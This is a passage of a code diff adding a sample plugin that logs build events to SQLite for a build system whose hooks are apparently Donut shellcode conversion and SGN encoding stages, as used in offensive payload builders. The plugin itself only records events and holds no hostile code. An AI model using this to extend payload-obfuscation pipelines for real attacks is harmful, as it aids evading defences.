||||
const data = await res.json();
|
||||
if (!data.ok) throw new Error(data.error || "RPC failed");
|
||||
return data.result;
|
||||
}
|
||||
|
||||
async function refresh() {
|
||||
output.textContent = "Loading...";
|
||||
try {
|
||||
const result = await callRpc("recent");
|
||||
output.textContent = JSON.stringify(result, null, 2);
|
||||
} catch (err) {
|
||||
output.textContent = `Error: ${err.message || err}`;
|
||||
}
|
||||
}
|
||||
|
||||
refreshButton?.addEventListener("click", refresh);
|
||||
refresh();
|
||||
@@ -0,0 +1,189 @@
|
||||
import fs from "fs";
|
||||
import path from "path";
|
||||
|
||||
function record(ctx, hook, data = {}) {
|
||||
ctx.db
|
||||
.prepare("INSERT INTO build_hook_events(hook, data, created_at) VALUES (?, ?, ?)")
|
||||
.run(hook, JSON.stringify(data), Date.now());
|
||||
}
|
||||
|
||||
function safeJson(value) {
|
||||
try {
|
||||
return JSON.stringify(value, null, 2);
|
||||
} catch {
|
||||
return String(value);
|
||||
}
|
||||
}
|
||||
|
||||
function buildSettings(ctx, payload) {
|
||||
const record = payload.config?.buildPlugins?.[ctx.pluginId];
|
||||
return {
|
||||
enabled: record?.enabled !== false,
|
||||
replaceOutput: record?.settings?.replaceOutput !== false,
|
||||
note: String(record?.settings?.note || "test"),
|
||||
};
|
||||
}
|
||||
|
||||
export default {
|
||||
setup(ctx) {
|
||||
ctx.db.exec(`
|
||||
CREATE TABLE IF NOT EXISTS build_hook_events (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
hook TEXT NOT NULL,
|
||||
data TEXT NOT NULL,
|
||||
created_at INTEGER NOT NULL
|
||||
);
|
||||
CREATE INDEX IF NOT EXISTS build_hook_events_recent ON build_hook_events(created_at DESC);
|
||||
`);
|
||||
ctx.log.info("sample build hook plugin ready");
|
||||
},
|
||||
|
||||
onBuildPrepare(ctx, payload) {
|
||||
const settings = buildSettings(ctx, payload);
|
||||
if (!settings.enabled) return null;
|
||||
record(ctx, "prepare", {
|
||||
buildId: payload.buildId,
|
||||
platforms: payload.config?.platforms || [],
|
||||
settings,
|
||||
});
|
||||
return {
|
||||
message: "prepare hook observed build config",
|
||||
};
|
||||
},
|
||||
|
||||
onBuildTarget(ctx, payload) {
|
||||
const settings = buildSettings(ctx, payload);
|
||||
if (!settings.enabled) return null;
|
||||
record(ctx, "target", {
|
||||
buildId: payload.buildId,
|
||||
platform: payload.platform,
|
||||
outputName: payload.outputName,
|
||||
settings,
|
||||
});
|
||||
|
||||
return { message: `target hook observed ${payload.platform}` };
|
||||
},
|
||||
|
||||
buildHooks: {
|
||||
post_build(ctx, payload) {
|
||||
if (!buildSettings(ctx, payload).enabled) return null;
|
||||
record(ctx, "post_build", {
|
||||
buildId: payload.buildId,
|
||||
platform: payload.platform,
|
||||
filename: payload.file?.filename,
|
||||
size: payload.file?.size,
|
||||
});
|
||||
},
|
||||
|
||||
before_donut(ctx, payload) {
|
||||
if (!buildSettings(ctx, payload).enabled) return null;
|
||||
record(ctx, "before_donut", {
|
||||
buildId: payload.buildId,
|
||||
platform: payload.platform,
|
||||
input: payload.file?.filename,
|
||||
output: payload.outputFilename,
|
||||
donutArch: payload.donutArch,
|
||||
});
|
||||
return { message: `before Donut: ${payload.file?.filename}` };
|
||||
},
|
||||
|
||||
after_donut(ctx, payload) {
|
||||
if (!buildSettings(ctx, payload).enabled) return null;
|
||||
record(ctx, "after_donut", {
|
||||
buildId: payload.buildId,
|
||||
platform: payload.platform,
|
||||
filename: payload.file?.filename,
|
||||
size: payload.file?.size,
|
||||
donutArch: payload.donutArch,
|
||||
});
|
||||
return { message: `after Donut: ${payload.file?.filename}` };
|
||||
},
|
||||
|
||||
before_sgn(ctx, payload) {
|
||||
if (!buildSettings(ctx, payload).enabled) return null;
|
||||
record(ctx, "before_sgn", {
|
||||
buildId: payload.buildId,
|
||||
platform: payload.platform,
|
||||
input: payload.file?.filename,
|
||||
output: payload.outputFilename,
|
||||
iterations: payload.iterations,
|
||||
});
|
||||
return { message: `before SGN: ${payload.file?.filename}` };
|
||||
},
|
||||
|
||||
after_sgn(ctx, payload) {
|
||||
if (!buildSettings(ctx, payload).enabled) return null;
|
||||
record(ctx, "after_sgn", {
|
||||
buildId: payload.buildId,
|
||||
platform: payload.platform,
|
||||
filename: payload.file?.filename,
|
||||
size: payload.file?.size,
|
||||
iterations: payload.iterations,
|
||||
});
|
||||
return { message: `after SGN: ${payload.file?.filename}` };
|
||||
},
|
||||
},
|
||||
|
||||
onBuildArtifact(ctx, payload) {
|
||||
const settings = buildSettings(ctx, payload);
|
||||
if (!settings.enabled) return null;
|
||||
record(ctx, "artifact", {
|
||||
buildId: payload.buildId,
|
||||
platform: payload.platform,
|
||||
filename: payload.file?.filename,
|
||||
size: payload.file?.size,
|
||||
settings,
|
||||
});
|
||||
|
||||
if (!settings.replaceOutput) {
|
||||
return { message: "test TXT replacement disabled by plugin setting" };
|
||||
}
|
||||
|
||||
const txtName = `${path.parse(payload.file.filename).name}.txt`;
|
||||
const txtPath = path.join(payload.outDir, txtName);
|
||||
fs.writeFileSync(txtPath, `${settings.note}\n`, "utf8");
|
||||
|
||||
return {
|
||||
file: { filename: txtName },
|
||||
message: `replaced build output with ${txtName}`,
|
||||
};
|
||||
},
|
||||
|
||||
onBuildComplete(ctx, payload) {
|
||||
if (!buildSettings(ctx, payload).enabled) return null;
|
||||
record(ctx, "complete", {
|
||||
buildId: payload.buildId,
|
||||
files: payload.files?.map((file) => file.filename) || [],
|
||||
});
|
||||
ctx.broadcast("build_complete", { buildId: payload.buildId, files: payload.files?.length || 0 });
|
||||
},
|
||||
|
||||
onBuildFailed(ctx, payload) {
|
||||
if (!buildSettings(ctx, payload).enabled) return null;
|
||||
record(ctx, "failed", {
|
||||
buildId: payload.buildId,
|
||||
error: payload.error,
|
||||
});
|
||||
ctx.broadcast("build_failed", { buildId: payload.buildId, error: payload.error });
|
||||
},
|
||||
|
||||
rpc: {
|
||||
recent(ctx) {
|
||||
const rows = ctx.db
|
||||
.prepare("SELECT hook, data, created_at FROM build_hook_events ORDER BY created_at DESC LIMIT 25")
|
||||
.all();
|
||||
return rows.map((row) => ({
|
||||
hook: row.hook,
|
||||
createdAt: new Date(row.created_at).toISOString(),
|
||||
data: JSON.parse(row.data),
|
||||
}));
|
||||
},
|
||||
|
||||
clear(ctx, _params, { caller }) {
|
||||
if (caller.role !== "admin") throw new Error("Admin only");
|
||||
ctx.db.exec("DELETE FROM build_hook_events");
|
||||
ctx.broadcast("cleared", { by: caller.id });
|
||||
return { ok: true };
|
||||
},
|
||||
},
|
||||
};
|
||||
Reference in New Issue
Block a user